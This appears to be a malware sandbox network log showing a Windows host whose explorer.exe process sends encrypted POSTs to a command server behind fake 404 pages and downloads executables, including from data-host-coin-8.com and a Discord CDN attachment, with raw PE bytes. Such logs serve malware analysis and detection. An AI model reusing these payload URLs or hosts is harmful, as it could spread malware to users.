Jan 14, 2022 04:59:59.802519083 CET	24242	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.3	49904	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:59.937983990 CET	24244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qcruxq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 193 Host: host-data-coin-11.com
Jan 14, 2022 04:59:59.937998056 CET	24244	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de ab 66 5d 02 c8 a1 c1 64 2b c7 d0 27 Data Ascii: ?2~236hTkowmFu$f]d+'4-tM@`l%fAmVYxMn'?>30H\|Sz7&^\|%+l&F+xUO{/;eDx\BLV
Jan 14, 2022 05:00:00.020616055 CET	24248	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec ad 8e 70 bc 57 dd 43 de f7 22 85 25 e6 c3 9b 58 2c e0 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC"%X,c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49749	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:58:58.944475889 CET	1115	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://slshljche.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 340 Host: host-data-coin-11.com
Jan 14, 2022 04:58:58.944494963 CET	1115	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9f 66 5d 02 c8 a1 c1 64 12 ba b9 01 Data Ascii: ?2~236hTkowmFu$f]dLk7ao.%M}35qC!(ao8X3HeAr-h^s&xA+ %eu"21n}p\|_-p5f1lY:*onkd%:)lgmA)2-
Jan 14, 2022 04:58:59.026256084 CET	1116	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:58:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.3	49905	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 05:00:00.104490042 CET	24249	OUT	GET /files/9042_1641895079_9876.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Jan 14, 2022 05:00:00.171114922 CET	24251	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 04:00:00 GMT Content-Type: application/x-msdos-program Content-Length: 3590568 Connection: close Last-Modified: Tue, 11 Jan 2022 09:57:59 GMT ETag: "36c9a8-5d54b7cf63afc" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 ed 8e da 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 1d 00 98 04 00 00 d0 02 00 00 00 00 00 00 30 02 00 00 10 00 00 00 b0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 57 00 00 04 00 00 f6 34 38 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 7c 52 00 20 01 00 00 00 c0 50 00 0d ab 01 00 00 00 00 00 00 00 00 00 00 a6 36 00 a8 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 43 18 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 02 00 00 30 02 00 00 7a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 f0 00 00 00 b0 04 00 00 72 00 00 00 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 20 00 00 00 a0 05 00 00 04 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 13 29 18 00 00 c0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 d0 32 00 00 f0 1d 00 00 c8 2f 00 00 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 b0 01 00 00 c0 50 00 00 3a 01 00 00 bc 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 50 6c 37 71 52 37 68 00 b0 04 00 00 70 52 00 00 b0 04 00 00 f6 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 61 64 61 74 61 00 00 00 10 00 00 00 20 57 00 00 00 00 00 00 a6 36 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 01 70 92 00 e8 01 00 00 00 c3 c3 93 45 c6 73 57 5d 7b 4f 35 98 36 d4 2f 1f e7 07 65 47 2a 72 5d f9 d2 c5 13 51 b8 88 3d d9 d3 4e d8 c7 a5 0c b2 ac ec Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELa0@0W48\|\|R P6#C@0z@r~@ @)@2/@.rsrcP:0@.Pl7qR7hpR1@.adata W6@hpEsW]{O56/eG*r]Q=N
Jan 14, 2022 05:00:00.171169996 CET	24252	IN	Data Raw: 0a e0 27 3e 40 b9 21 bb 27 97 af 0b ea 71 ae 9a 1c 20 98 4c 4b 6d a9 ba 52 1b 57 86 f5 39 10 6c a6 23 f4 6e b0 17 05 df 1f 7c 5f 4c 28 5d a9 08 29 74 0b b3 57 d1 20 e4 93 7c e2 36 9a 7d d4 9e 78 b6 56 05 bc 0a 0e bc 8a db b5 a2 62 28 fb 1a 89 6b Data Ascii: '>@!'q LKmRW9l#n\|_L(])tW \|6}xVb(k<^72/pPg-iIo(?$AeXn3#V"ooM;*gx&d s)IhH$wGsOas>KsS=N=iqejQ7#H8E>l&d7'.a
Jan 14, 2022 05:00:00.171201944 CET	24254	IN	Data Raw: 29 b4 af 8e 26 2d e0 87 37 89 a0 bc 46 a5 94 03 e7 3e 0c 2b 7a 0e 67 19 0f 63 5f 40 fe 32 c6 c7 13 0d 7e bf f6 90 b7 08 fc f5 40 44 3c bc fa 88 ea d5 bf f5 29 41 4d a5 5d 07 83 b4 3b fd ab 46 b9 6d 0e 85 e1 2f 99 1f 2b 27 dc 5c 46 54 18 78 26 b3 Data Ascii: )&-7F>+zgc_@2~@D<)AM];Fm/+'\FTx&IuLA.4Dd0yyg{}<~G&!27sx&Z3adhCRgY_F-$Em'oGkNx"NKhE2
Jan 14, 2022 05:00:00.171232939 CET	24255	IN	Data Raw: a2 5a 8d 1c f3 1a ac 24 9e 98 c3 6d 6b 39 fa 9f 6f 31 74 b4 a6 8f 00 4c 94 c0 7a 94 e8 48 cf 38 0e 13 ef 91 83 df 54 ce d7 f1 5f c4 9e 0b 63 c4 60 52 09 a4 4e ab 9e f3 61 b1 30 d1 dc 36 2b 4d 36 f4 a8 db 86 be d0 2e 89 9c c2 d9 86 4d c9 cd fb 9a Data Ascii: Z$mk9o1tLzH8T_c`RNa06+M6.MfelD,t74KnbE$"S)A]CXi`pKPV0 L./i^.(RD,kFXe?o'D}LJ@C_
Jan 14, 2022 05:00:00.171274900 CET	24256	IN	Data Raw: 82 86 5d 1b 4f 82 33 50 67 cb cf e9 6b 60 e0 0a b2 61 6a f3 6f 95 2e 69 3c 12 84 a2 df ee fe 05 50 68 30 2f 6a 29 66 e4 57 e5 a1 38 cc 6e 38 2e ae bd af 27 e3 11 93 8c 62 50 a8 cd 9e 51 50 04 87 b6 c4 57 e9 d3 5b f6 5b 94 3f 7c d0 83 f1 55 db d1 Data Ascii: ]O3Pgk`ajo.i<Ph0/j)fW8n8.'bPQPW[[?\|UXnBZ+V/}I+vj+vY8onc"[)nR}t(T.:JS;m?Zz#Fd^H-M9O\;o90&SF
Jan 14, 2022 05:00:00.171315908 CET	24258	IN	Data Raw: 4f 49 9e 5c 36 53 47 e5 15 df 18 88 14 24 54 75 54 6f d2 d4 01 d7 8f 54 1b 2e 2d c9 12 1a 75 b3 86 bb 11 00 b8 0f 9b 0a 84 20 c1 82 46 8a 64 9a db bd f7 85 3f 38 2d d2 ac 42 f5 01 78 15 80 54 67 2d a3 39 66 af c0 7f 5b a5 ee c9 ef 29 5e 1b e1 99 Data Ascii: OI\6SG$TuToT.-u Fd?8-BxTg-9f[)^Oa&yi(yB3z*+LbV]?9}<rn' J81y[}m`t BL5I[Jid/`sR6d)fFSbi!P^q%?[)!&@/`
Jan 14, 2022 05:00:00.171354055 CET	24259	IN	Data Raw: 0c 7c b1 c3 dd 12 fb 0a ae c1 71 1e 25 30 e3 d2 7c c7 a6 68 65 09 d7 2b 24 7f de e3 9e 96 19 25 06 73 90 7e 21 35 b1 83 36 01 c9 6b f2 2e 2f 2b db 4c ca 9e c7 3f 70 8a 1f 23 af 3d 4c 74 52 c2 5b 9e be 48 03 3c b6 25 ca b4 d8 26 97 65 c1 81 8c ae Data Ascii: \|q%0\|he+$%s~!56k./+L?p#=LtR[H<%&e}X]x3vw`IR{i4^zVgO*%PPXmQsh"]"$ &YTzu`B@9,^_XneILjsz\|nF
Jan 14, 2022 05:00:00.171397924 CET	24261	IN	Data Raw: df 0a 88 83 87 45 d7 06 0c c6 0a 5b ca 71 74 80 7b 56 f9 4d a8 d3 11 db 0a 37 95 02 8d b2 97 2c 33 a7 96 5c 86 9e 2b 3a b8 2d dc 13 d6 c0 7c fb c5 44 3e db 9a 82 49 1a fb 90 11 e8 87 70 a8 af db 0a 41 65 0c 18 ce ae c1 29 c3 94 ff 0e 22 43 2a 57 Data Ascii: E[qt{VM7,3\+:-\|D>IpAe)"C*W\|{y$MfQc1#<c0-3[kRqhIK)7#RK5}Y$}l5~dE\|$BHU333S+QOa4s?
Jan 14, 2022 05:00:00.171437025 CET	24262	IN	Data Raw: 88 88 99 7a da 44 17 ed 28 39 19 4f b2 ec 89 af 13 bd 9d a1 3c ad 42 af 3f 7d fd 6f 94 56 b4 ae ab 8e 1a aa 66 c2 67 30 9d 9b 22 3d b3 e4 25 07 b6 0a 5c 78 32 d2 58 b4 5a d8 36 28 f5 ae e0 f4 ce 7b 3d 31 f6 70 35 6c 90 15 d4 13 5d 22 cf 71 c8 b8 Data Ascii: zD(9O<B?}oVfg0"=%\x2XZ6({=1p5l]"qli~Gp5OFICK:C- 9/-c[fB:)8?Y1aFrUS>eO62h<5;Y[AViZJ_<hd1gCqQW[09
Jan 14, 2022 05:00:00.171473980 CET	24263	IN	Data Raw: 46 29 ab 6b 11 24 1a c9 e7 76 54 87 a7 31 c7 e8 6e 1e a6 6c 54 78 29 2b 4e b7 04 5f 19 97 ee ec d1 65 d1 3f e1 c2 7f 07 50 14 b2 d2 55 d7 48 2a 21 75 17 e6 3b cf 9e 5d cc 3b 5c cb 92 79 e7 e9 d6 30 6d 0c 88 8c 8f 02 18 82 17 1e 5c 74 f9 c4 09 13 Data Ascii: F)k$vT1nlTx)+N_e?PUH*!u;];\y0m\tu`:t@#`gGhsl94;d)%"v"+,~v9F%.]F%<^-u;l@:[K,iNArq@y
Jan 14, 2022 05:00:00.228183031 CET	24265	IN	Data Raw: 9e d7 22 d7 44 e6 33 b3 10 9b f4 c3 2e 32 23 d2 05 b6 59 99 6c 82 1d ca 04 98 2a cd 3a ba 41 55 0c a1 8e 6e 6c 20 ab 6f ab 5f f4 01 db 68 da 61 e9 c6 07 f2 c6 7c 4f 0a 25 8a 7c 67 d1 0b 94 e0 5a 0a 97 f0 77 52 70 92 17 42 a4 03 89 ee d9 60 15 78 Data Ascii: "D3.2#Yl*:AUnl o_ha\|O%\|gZwRpB`x\|3u6`yGU?e'lK@S`Yv~{R1-/v>g'vlZ/jI8\|g^ks}vITQXO^Ez

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.3	49906	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 05:00:04.126226902 CET	31223	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jurgfiow.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 158 Host: host-data-coin-11.com
Jan 14, 2022 05:00:04.126383066 CET	31223	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 84 de ab 66 5d 02 c9 a1 c1 64 23 c8 cd 6c Data Ascii: ?2~236hTkowmFu$f]d#lNIkk[msw]'rgw'Zwi1ZBF+!X4N"WU[
Jan 14, 2022 05:00:04.208523035 CET	31355	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 04:00:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49750	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:58:59.394917965 CET	1116	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fqtuljhoii.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 157 Host: host-data-coin-11.com
Jan 14, 2022 04:58:59.394942045 CET	1117	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9c 66 5d 02 c8 a1 c1 64 2f cc da 1a Data Ascii: ?2~236hTkowmFu$f]d/Km:AAG`AJJEGcPlt5'o=A@H_O{6q![9^2K]9
Jan 14, 2022 04:58:59.475620985 CET	1117	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:58:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49760	185.233.81.115	443	C:\Windows\explorer.exe

Timestamp	Direction	Data
2022-01-14 03:59:04 UTC	OUT	GET /32739433.dat?iddqd=1 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.233.81.115
2022-01-14 03:59:04 UTC	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:04 GMT Content-Type: text/html Content-Length: 153 Connection: close
2022-01-14 03:59:04 UTC	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49804	162.159.133.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 03:59:13 UTC	0	OUT	GET /attachments/903666793514672200/930134152861343815/Nidifying.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
